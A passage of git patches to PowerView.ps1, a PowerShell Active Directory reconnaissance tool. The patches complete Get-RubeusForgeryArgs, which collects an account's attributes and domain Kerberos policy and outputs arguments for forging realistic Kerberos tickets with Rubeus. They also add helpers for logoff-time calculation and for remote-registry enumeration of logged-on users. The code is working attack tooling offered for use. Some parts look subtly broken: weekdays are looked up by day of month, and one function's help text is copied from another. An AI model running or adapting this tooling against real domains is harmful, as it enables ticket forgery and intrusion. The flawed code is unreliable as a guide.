ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" } + } - #$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" - #Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" + Write-Verbose "[Get-DomainUser] filter string: (&(samAccountType=805306368)$Filter" - $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=805306368)$Filter)" + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=805306368)$Filter)" - $Results | Where-Object {$_} | ForEach-Object { - if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { - $Prop = @{} - foreach ($a in $_.Attributes.Keys | Sort-Object) { - if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) { - $Prop[$a] = $_.Attributes[$a] - } - else { - $Values = @() - foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { - $Values += [System.Text.Encoding]::UTF8.GetString($v) - } - $Prop[$a] = $Values + $Results | Where-Object {$_} | ForEach-Object { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) } + $Prop[$a] = $Values } } - else { - $Prop = $_.Properties - } + } + else { + $Prop = $_.Properties + } - $Continue = $True - if ($PSBoundParameters['PassExpired']) { - if ($MaximumAge -gt 0) { - $PwdLastSet = $Prop.pwdlastset[0] - if ($PwdLastSet -eq 0) { - $PwdLastSet = $Prop.whencreated[0] - } - $ExpireTime = (Get-Date).AddDays(-$MaximumAge).ToFileTimeUtc() - if ($PwdLastSet -gt $ExpireTime) { - $Continue = $False - } + $Continue = $True + if ($PSBoundParameters['PassExpired']) { + if ($MaximumAge -gt 0) { + $PwdLastSet = $Prop.pwdlastset[0] + if ($PwdLastSet -eq 0) { + $PwdLastSet = $Prop.whencreated[0] } - else { + $ExpireTime = (Get-Date).AddDays(-$MaximumAge).ToFileTimeUtc() + if ($PwdLastSet -gt $ExpireTime) { $Continue = $False } } - elseif ($PSBoundParameters['PassNotExpired'] -and (($Prop.useraccountcontrol[0] -band 65536) -ne 65536)) { - if ($MaximumAge -gt 0) { - $PwdLastSet = $Prop.pwdlastset[0] - if ($PwdLastSet -eq 0) { - $PwdLastSet = $Prop.whencreated[0] - } - $ExpireTime = (Get-Date).AddDays(-$MaximumAge).ToFileTimeUtc() - if ($PwdLastSet -le $ExpireTime) { - $Continue = $False - } - } + else { + $Continue = $False } - if ($Continue) { - if ($PSBoundParameters['Raw']) { - # return raw result objects - $User = $_ - $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') + } + elseif ($PSBoundParameters['PassNotExpired'] -and (($Prop.useraccountcontrol[0] -band 65536) -ne 65536)) { + if ($MaximumAge -gt 0) { + $PwdLastSet = $Prop.pwdlastset[0] + if ($PwdLastSet -eq 0) { + $PwdLastSet = $Prop.whencreated[0] } - else { - $User = Convert-LDAPProperty -Properties $Prop - $User.PSObject.TypeNames.Insert(0, 'PowerView.User') + $ExpireTime = (Get-Date).AddDays(-$MaximumAge).ToFileTimeUtc() + if ($PwdLastSet -le $ExpireTime) { + $Continue = $False } - $User } } - if ($Results) { - try { $Results.dispose() } - catch { } + if ($Continue) { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $User = $_ + $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') + } + else { + $User = Convert-LDAPProperty -Properties $Prop + $User.PSObject.TypeNames.Insert(0, 'PowerView.User') + } + $User } - $UserSearcher.dispose() + } + if ($Results) { + try { $Results.dispose() } + catch { } } } } From 85fa3c0e1c4c7941bf6a7284ddd291996e0326d5 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Tue, 3 Aug 2021 01:14:01 +0100 Subject: [PATCH 50/58] finished Get-RubeusForgeryArgs, calculated proper /logofftime, /endtime and /renewtill --- Recon/PowerView.ps1 | 145 ++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 139 insertions(+), 6 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 71bca01d..e26e4c31 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -23997,6 +23997,8 @@ Convert logonhours LDAP attribute from byte array to readable string. .PARAMETER LogonHours +Byte array of the users logon hours. + .EXAMPLE Convert-LogonHours -LogonHours $LogonHours @@ -24009,7 +24011,7 @@ Byte[] PSObject #> - [OutputType('String')] + [OutputType([PSObject])] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] @@ -24143,7 +24145,7 @@ String String #> - [OutputType([PSObject])] + [OutputType('String')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] @@ -24275,8 +24277,14 @@ String $NetbiosFilter = "(&(netbiosname=*)(dnsroot=$Domain))" $NetbiosName = (Get-DomainObject -SearchBase "$ConfigDN" -LdapFilter "$NetbiosFilter" @SearcherArguments).netbiosname + # get time now for logontime and logofftime + $Now = Get-Date + # we have everything we can start to build the arguments - $OutArguments = "/user:$($Account.samaccountname) /id:$AccountID /sid:$DomainSID /netbios:$NetbiosName /dc:$($DomainObject.DomainControllers[0].Name) /domain:$Domain /pgid:$($Account.primarygroupid) /uac:$($Account.useraccountcontrol -replace ' ','') /displayname:""$($Account.displayname)"" /logoncount:$($Account.logoncount) /badpwdcount:$($Account.badpwdcount) /pwdlastset:""$($Account.pwdlastset.ToString())""" + $OutArguments = "/user:$($Account.samaccountname) /id:$AccountID /sid:$DomainSID /netbios:$NetbiosName /dc:$($DomainObject.DomainControllers[0].Name) /domain:$Domain /pgid:$($Account.primarygroupid) /displayname:""$($Account.displayname)"" /logoncount:$($Account.logoncount) /badpwdcount:$($Account.badpwdcount) /pwdlastset:""$($Account.pwdlastset.ToString())"" /lastlogon:""$($Now.AddSeconds(-$(Get-Random -Maximum 10)))""" + if ($Account.useraccountcontrol -ne "NORMAL_ACCOUNT") { + $OutArguments += " /uac:$($Account.useraccountcontrol -replace ' ','')" + } if ($Groups.Length -gt 0) { $OutArguments += " /groups:$($Groups -join ',')" } @@ -24292,19 +24300,144 @@ String if ($Account.homedirectory) { $OutArguments += " /homedir:""$($Account.homedirectory)""" } - if ($Account.lastlogon -notmatch 1601) { - $OutArguments += " /lastlogon:""$($Account.lastlogon.ToString())""" + if ($Account.logonhours) { + $LogoffTime = Get-LogoffTime -LogonHours $Account.logonhours -LogonTime $Now + if ($LogoffTime -and $LogoffTime -ne $Now) { + $OutArguments += " /logofftime:""$($LogoffTime.AddMinutes(-$LogoffTime.Minute).AddSeconds(-$LogoffTime.Second))""" + } + } + elseif ($LogoffTime -eq $Now) { + Write-Warning "[Get-RubeusForgeryArgs] User is not allowed to login now!" + } + if ($DomainPolicy.SystemAccess.MinimumPasswordAge -gt 0) { + $OutArguments += " /minpassage:$($DomainPolicy.SystemAccess.MinimumPasswordAge)" + } + # only set PasswordMustChange if policy is set to expire password and user isn't configured so password doesn't expire + if ($DomainPolicy.SystemAccess.MaximumPasswordAge -gt 0 -and $Account.useraccountcontrol -notmatch "DONT_EXPIRE_PASSWORD") { + $OutArguments += " /maxpassage:$($DomainPolicy.SystemAccess.MaximumPasswordAge)" + } + # in Protected Users group with time endtime and renewtill of 240 minutes + if ($Groups.Contains("525")) { + $OutArguments += " /endtime:240m /renewtill:240m" + } + else { + $OutArguments += " /endtime:$($DomainPolicy.KerberosPolicy.MaxTicketAge)h /renewtill:$($DomainPolicy.KerberosPolicy.MaxRenewAge)d" } + $OutArguments + } + } +} +function Get-LogoffTime { +<# +.SYNOPSIS +Calculate the proper logoff time for a user given the logonhours field and the current time. - $OutArguments +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: + +.DESCRIPTION + +Calculate the proper logoff time for a user given the logonhours field and the current time. + +.PARAMETER LogonHours + +Logon hours object output by Convert-LogonHours + +.PARAMETER LogonTime + +Logon time for ticket + +.EXAMPLE + +Get-LogoffTime -LogonHours $LogonHours -LogonTime $(Get-Date) + +.INPUTS + +PSObject + +.OUTPUTS + +DateTime +#> + [OutputType([DateTime])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] + $LogonHours, + + [DateTime] + $LogonTime + ) + + BEGIN { + $Days = @{ + 1 = "Sunday"; + 2 = "Monday"; + 3 = "Tuesday"; + 4 = "Wednesday"; + 5 = "Thursday"; + 6 = "Friday"; + 7 = "Saturday"; + } + } + + PROCESS { + $Hour = $LogonTime.Hour + $Day = $Days[$LogonTime.Day] + if (-not $LogonHours.$Day.$Hour) { + Write-Verbose "[Get-LogoffTime] User is not allowed to logon now!" + $LogonTime + } + $OutTime = $LogonTime + $leftover = 23 - $Hour + $FoundLogoff = $False + for ($i=0; $i -lt 7; $i++) { + $Day = $Days[$($LogonTime.Day + $i)] + if ($i -eq 0) { + $counter = $Hour + 1 + } + else { + $counter = 0 + } + do { + $OutTime = $OutTime.AddHours(1) + if (-not $LogonHours.$Day.$counter) { + $FoundLogoff = $True + break + } + $counter += 1 + } while ($counter -lt 24) + if ($FoundLogoff) { + break + } + } + + if (-not $FoundLogoff -and $Hour -gt 0) { + $Day = $Days[$LogonTime.Day] + for ($i=0; $i -lt $Hour; $i++) { + $OutTime = $OutTime.AddHours(1) + if (-not $LogonHours.$Day.$i) { + $FoundLogoff = $True + break + } + } + } + + if ($FoundLogoff) { + $OutTime + } + else { + $FoundLogoff } } } + ######################################################## # # Expose the Win32API functions and datastructures below From b1ced0c39183b8d5d1792ac2ed1209ab8e81fbbd Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Tue, 3 Aug 2021 09:10:48 +0100 Subject: [PATCH 51/58] fixed dates in Get-RubeusFogeryArgs output and don't output if endtime of renewtill are defaults --- Recon/PowerView.ps1 | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index e26e4c31..08b979da 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -24281,7 +24281,7 @@ String $Now = Get-Date # we have everything we can start to build the arguments - $OutArguments = "/user:$($Account.samaccountname) /id:$AccountID /sid:$DomainSID /netbios:$NetbiosName /dc:$($DomainObject.DomainControllers[0].Name) /domain:$Domain /pgid:$($Account.primarygroupid) /displayname:""$($Account.displayname)"" /logoncount:$($Account.logoncount) /badpwdcount:$($Account.badpwdcount) /pwdlastset:""$($Account.pwdlastset.ToString())"" /lastlogon:""$($Now.AddSeconds(-$(Get-Random -Maximum 10)))""" + $OutArguments = "/user:$($Account.samaccountname) /id:$AccountID /sid:$DomainSID /netbios:$NetbiosName /dc:$($DomainObject.DomainControllers[0].Name) /domain:$Domain /pgid:$($Account.primarygroupid) /displayname:""$($Account.displayname)"" /logoncount:$($Account.logoncount) /badpwdcount:$($Account.badpwdcount) /pwdlastset:""$($Account.pwdlastset.ToString())"" /lastlogon:""$($Now.AddSeconds(-$(Get-Random -Maximum 10)).ToString())""" if ($Account.useraccountcontrol -ne "NORMAL_ACCOUNT") { $OutArguments += " /uac:$($Account.useraccountcontrol -replace ' ','')" } @@ -24303,7 +24303,7 @@ String if ($Account.logonhours) { $LogoffTime = Get-LogoffTime -LogonHours $Account.logonhours -LogonTime $Now if ($LogoffTime -and $LogoffTime -ne $Now) { - $OutArguments += " /logofftime:""$($LogoffTime.AddMinutes(-$LogoffTime.Minute).AddSeconds(-$LogoffTime.Second))""" + $OutArguments += " /logofftime:""$($LogoffTime.AddMinutes(-$LogoffTime.Minute).AddSeconds(-$LogoffTime.Second).ToString())""" } } elseif ($LogoffTime -eq $Now) { @@ -24321,7 +24321,12 @@ String $OutArguments += " /endtime:240m /renewtill:240m" } else { - $OutArguments += " /endtime:$($DomainPolicy.KerberosPolicy.MaxTicketAge)h /renewtill:$($DomainPolicy.KerberosPolicy.MaxRenewAge)d" + if ($DomainPolicy.KerberosPolicy.MaxTicketAge -ne 10) { + $OutArguments += " /endtime:$($DomainPolicy.KerberosPolicy.MaxTicketAge)h" + } + if ($DomainPolicy.KerberosPolicy.MaxRenewAge -ne 7) { + $OutArguments += " /renewtill:$($DomainPolicy.KerberosPolicy.MaxRenewAge)d" + } } $OutArguments From 3412236c2c6d4d118e970da82fa1f538481b4db2 Mon Sep 17 00:00:00 2001 From: Charlie Clark Date: Wed, 17 Nov 2021 17:53:47 +0000 Subject: [PATCH 52/58] added initial function to enumerate users using remote registry --- Recon/PowerView.ps1 | 565 +++++++++++++++++++++++++------------------- 1 file changed, 324 insertions(+), 241 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 08b979da..c18d9fe5 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -24441,6 +24441,88 @@ DateTime } } +function Get-RegistryUserEnum { +<# +.SYNOPSIS + +Enumerate users using remote registry. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: + +.DESCRIPTION + +Enumerate users using remote registry. + +.PARAMETER ComputerName + +Computer to check. + +.PARAMETER Check + +Switch. Just check if connecting to the remote registry works. + +.EXAMPLE + +Get-LogoffTime -LogonHours $LogonHours -LogonTime $(Get-Date) + +.INPUTS + +PSObject + +.OUTPUTS + +DateTime +#> + + [CmdletBinding(SupportsShouldProcess=$True, + ConfirmImpact='Medium')] + Param + ( + [parameter(Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('DNSHostName', 'Name', 'Server')] + [String[]] + $ComputerName = '.', + + [Switch] + $Check + ) + Begin { + } + Process { + Foreach ($Computer in $ComputerName) { + if (Test-Connection $computer -Count 2 -Quiet) { + $reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', $Computer) + $subkeys = $reg.GetSubKeyNames() | ?{$_ -notmatch '.DEFAULT' -and $_ -notmatch '_Classes'} + if ($PSBoundParameters['Check'] -and $subkeys.Length -gt 0) { + $Computer + } elseif ($subkeys.Length -gt 0) { + $users = @() + foreach ($subkey in $subkeys) { + $user = New-Object psobject + $user | Add-Member -Name SID -MemberType NoteProperty -Value $subkey + $user | Add-Member -Name Name -MemberType NoteProperty -Value (ConvertFrom-SID $subkey) + $users += ,$user + } + $Obj = New-Object psobject + $Obj | Add-Member -Name Computer -MemberType NoteProperty -Value $Computer + $Obj | Add-Member -Name Users -MemberType NoteProperty -Value $users + $Obj + } else { + Write-Warning "$Computer connected but did not return subkeys" + } + } + else { + Write-Error "$Computer not reachable" + } + } + } + End { + #[Microsoft.Win32.RegistryHive]::Users + } +} + ######################################################## @@ -24483,245 +24565,246 @@ $GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{ } -Bitfield # used to parse the 'userAccountControl' property for users/groups -$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ - SCRIPT = 1 - ACCOUNTDISABLE = 2 - HOMEDIR_REQUIRED = 8 - LOCKOUT = 16 - PASSWD_NOTREQD = 32 - PASSWD_CANT_CHANGE = 64 - ENCRYPTED_TEXT_PWD_ALLOWED = 128 - TEMP_DUPLICATE_ACCOUNT = 256 - NORMAL_ACCOUNT = 512 - INTERDOMAIN_TRUST_ACCOUNT = 2048 - WORKSTATION_TRUST_ACCOUNT = 4096 - SERVER_TRUST_ACCOUNT = 8192 - DONT_EXPIRE_PASSWORD = 65536 - MNS_LOGON_ACCOUNT = 131072 - SMARTCARD_REQUIRED = 262144 - TRUSTED_FOR_DELEGATION = 524288 - NOT_DELEGATED = 1048576 - USE_DES_KEY_ONLY = 2097152 - DONT_REQ_PREAUTH = 4194304 - PASSWORD_EXPIRED = 8388608 - TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 - PARTIAL_SECRETS_ACCOUNT = 67108864 -} -Bitfield - -# enum used by $WTS_SESSION_INFO_1 below -$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ - Active = 0 - Connected = 1 - ConnectQuery = 2 - Shadow = 3 - Disconnected = 4 - Idle = 5 - Listen = 6 - Reset = 7 - Down = 8 - Init = 9 -} - -# the WTSEnumerateSessionsEx result structure -$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ - ExecEnvId = field 0 UInt32 - State = field 1 $WTSConnectState - SessionId = field 2 UInt32 - pSessionName = field 3 String -MarshalAs @('LPWStr') - pHostName = field 4 String -MarshalAs @('LPWStr') - pUserName = field 5 String -MarshalAs @('LPWStr') - pDomainName = field 6 String -MarshalAs @('LPWStr') - pFarmName = field 7 String -MarshalAs @('LPWStr') -} - -# the particular WTSQuerySessionInformation result structure -$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ - AddressFamily = field 0 UInt32 - Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) -} - -# the NetShareEnum result structure -$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ - Name = field 0 String -MarshalAs @('LPWStr') - Type = field 1 UInt32 - Remark = field 2 String -MarshalAs @('LPWStr') -} - -# the NetWkstaUserEnum result structure -$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ - UserName = field 0 String -MarshalAs @('LPWStr') - LogonDomain = field 1 String -MarshalAs @('LPWStr') - AuthDomains = field 2 String -MarshalAs @('LPWStr') - LogonServer = field 3 String -MarshalAs @('LPWStr') -} - -# the NetSessionEnum result structure -$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ - CName = field 0 String -MarshalAs @('LPWStr') - UserName = field 1 String -MarshalAs @('LPWStr') - Time = field 2 UInt32 - IdleTime = field 3 UInt32 -} - -# enum used by $LOCALGROUP_MEMBERS_INFO_2 below -$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ - SidTypeUser = 1 - SidTypeGroup = 2 - SidTypeDomain = 3 - SidTypeAlias = 4 - SidTypeWellKnownGroup = 5 - SidTypeDeletedAccount = 6 - SidTypeInvalid = 7 - SidTypeUnknown = 8 - SidTypeComputer = 9 -} - -# the NetLocalGroupEnum result structure -$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ - lgrpi1_name = field 0 String -MarshalAs @('LPWStr') - lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') -} - -# the NetLocalGroupGetMembers result structure -$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ - lgrmi2_sid = field 0 IntPtr - lgrmi2_sidusage = field 1 $SID_NAME_USE - lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') -} - -# enums used in DS_DOMAIN_TRUSTS -$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ - IN_FOREST = 1 - DIRECT_OUTBOUND = 2 - TREE_ROOT = 4 - PRIMARY = 8 - NATIVE_MODE = 16 - DIRECT_INBOUND = 32 -} -Bitfield -$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ - DOWNLEVEL = 1 - UPLEVEL = 2 - MIT = 3 - DCE = 4 -} -$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ - NON_TRANSITIVE = 1 - UPLEVEL_ONLY = 2 - FILTER_SIDS = 4 - FOREST_TRANSITIVE = 8 - CROSS_ORGANIZATION = 16 - WITHIN_FOREST = 32 - TREAT_AS_EXTERNAL = 64 -} - -# the DsEnumerateDomainTrusts result structure -$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ - NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') - DnsDomainName = field 1 String -MarshalAs @('LPWStr') - Flags = field 2 $DsDomainFlag - ParentIndex = field 3 UInt32 - TrustType = field 4 $DsDomainTrustType - TrustAttributes = field 5 $DsDomainTrustAttributes - DomainSid = field 6 IntPtr - DomainGuid = field 7 Guid -} - -# used by WNetAddConnection2W -$NETRESOURCEW = struct $Mod NETRESOURCEW @{ - dwScope = field 0 UInt32 - dwType = field 1 UInt32 - dwDisplayType = field 2 UInt32 - dwUsage = field 3 UInt32 - lpLocalName = field 4 String -MarshalAs @('LPWStr') - lpRemoteName = field 5 String -MarshalAs @('LPWStr') - lpComment = field 6 String -MarshalAs @('LPWStr') - lpProvider = field 7 String -MarshalAs @('LPWStr') -} - -# all of the Win32 API functions we need -$FunctionDefinitions = @( - (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), - (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), - (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), - (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), - (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), - (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), - (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), - (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), - (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), - (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), - (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), - (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), - (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), - (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), - (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), - (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), - (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), - (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) -) - -$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' -$Netapi32 = $Types['netapi32'] -$Advapi32 = $Types['advapi32'] -$Wtsapi32 = $Types['wtsapi32'] -$Mpr = $Types['Mpr'] -$Kernel32 = $Types['kernel32'] - -Set-Alias Get-IPAddress Resolve-IPAddress -Set-Alias Convert-NameToSid ConvertTo-SID -Set-Alias Convert-SidToName ConvertFrom-SID -Set-Alias Request-SPNTicket Get-DomainSPNTicket -Set-Alias Get-DNSZone Get-DomainDNSZone -Set-Alias Get-DNSRecord Get-DomainDNSRecord -Set-Alias Get-NetDomain Get-Domain -Set-Alias Get-NetDomainController Get-DomainController -Set-Alias Get-NetForest Get-Forest -Set-Alias Get-NetForestDomain Get-ForestDomain -Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog -Set-Alias Get-NetUser Get-DomainUser -Set-Alias Get-UserEvent Get-DomainUserEvent -Set-Alias Get-NetComputer Get-DomainComputer -Set-Alias Get-ADObject Get-DomainObject -Set-Alias Set-ADObject Set-DomainObject -Set-Alias Get-ObjectAcl Get-DomainObjectAcl -Set-Alias Add-ObjectAcl Add-DomainObjectAcl -Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl -Set-Alias Get-GUIDMap Get-DomainGUIDMap -Set-Alias Get-NetOU Get-DomainOU -Set-Alias Get-NetSite Get-DomainSite -Set-Alias Get-NetSubnet Get-DomainSubnet -Set-Alias Get-NetGroup Get-DomainGroup -Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup -Set-Alias Get-NetGroupMember Get-DomainGroupMember -Set-Alias Get-NetFileServer Get-DomainFileServer -Set-Alias Get-DFSshare Get-DomainDFSShare -Set-Alias Get-NetGPO Get-DomainGPO -Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup -Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping -Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping -Set-Alias Get-LoggedOnLocal Get-RegLoggedOn -Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess -Set-Alias Get-SiteName Get-NetComputerSiteName -Set-Alias Get-Proxy Get-WMIRegProxy -Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn -Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection -Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive -Set-Alias Get-NetProcess Get-WMIProcess -Set-Alias Invoke-ThreadedFunction New-ThreadedFunction -Set-Alias Invoke-UserHunter Find-DomainUserLocation -Set-Alias Invoke-ProcessHunter Find-DomainProcess -Set-Alias Invoke-EventHunter Find-DomainUserEvent -Set-Alias Invoke-ShareFinder Find-DomainShare -Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile -Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember -Set-Alias Get-NetDomainTrust Get-DomainTrust -Set-Alias Get-NetForestTrust Get-ForestTrust -Set-Alias Find-ForeignUser Get-DomainForeignUser -Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember -Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping + $UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ + SCRIPT = 1 + ACCOUNTDISABLE = 2 + HOMEDIR_REQUIRED = 8 + LOCKOUT = 16 + PASSWD_NOTREQD = 32 + PASSWD_CANT_CHANGE = 64 + ENCRYPTED_TEXT_PWD_ALLOWED = 128 + TEMP_DUPLICATE_ACCOUNT = 256 + NORMAL_ACCOUNT = 512 + INTERDOMAIN_TRUST_ACCOUNT = 2048 + WORKSTATION_TRUST_ACCOUNT = 4096 + SERVER_TRUST_ACCOUNT = 8192 + DONT_EXPIRE_PASSWORD = 65536 + MNS_LOGON_ACCOUNT = 131072 + SMARTCARD_REQUIRED = 262144 + TRUSTED_FOR_DELEGATION = 524288 + NOT_DELEGATED = 1048576 + USE_DES_KEY_ONLY = 2097152 + DONT_REQ_PREAUTH = 4194304 + PASSWORD_EXPIRED = 8388608 + TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 + NO_AUTH_DATA_REQUIRED = 33554432 + PARTIAL_SECRETS_ACCOUNT = 67108864 + } -Bitfield + + # enum used by $WTS_SESSION_INFO_1 below + $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ + Active = 0 + Connected = 1 + ConnectQuery = 2 + Shadow = 3 + Disconnected = 4 + Idle = 5 + Listen = 6 + Reset = 7 + Down = 8 + Init = 9 + } + + # the WTSEnumerateSessionsEx result structure + $WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ + ExecEnvId = field 0 UInt32 + State = field 1 $WTSConnectState + SessionId = field 2 UInt32 + pSessionName = field 3 String -MarshalAs @('LPWStr') + pHostName = field 4 String -MarshalAs @('LPWStr') + pUserName = field 5 String -MarshalAs @('LPWStr') + pDomainName = field 6 String -MarshalAs @('LPWStr') + pFarmName = field 7 String -MarshalAs @('LPWStr') + } + + # the particular WTSQuerySessionInformation result structure + $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ + AddressFamily = field 0 UInt32 + Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) + } + + # the NetShareEnum result structure + $SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ + Name = field 0 String -MarshalAs @('LPWStr') + Type = field 1 UInt32 + Remark = field 2 String -MarshalAs @('LPWStr') + } + + # the NetWkstaUserEnum result structure + $WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ + UserName = field 0 String -MarshalAs @('LPWStr') + LogonDomain = field 1 String -MarshalAs @('LPWStr') + AuthDomains = field 2 String -MarshalAs @('LPWStr') + LogonServer = field 3 String -MarshalAs @('LPWStr') + } + + # the NetSessionEnum result structure + $SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ + CName = field 0 String -MarshalAs @('LPWStr') + UserName = field 1 String -MarshalAs @('LPWStr') + Time = field 2 UInt32 + 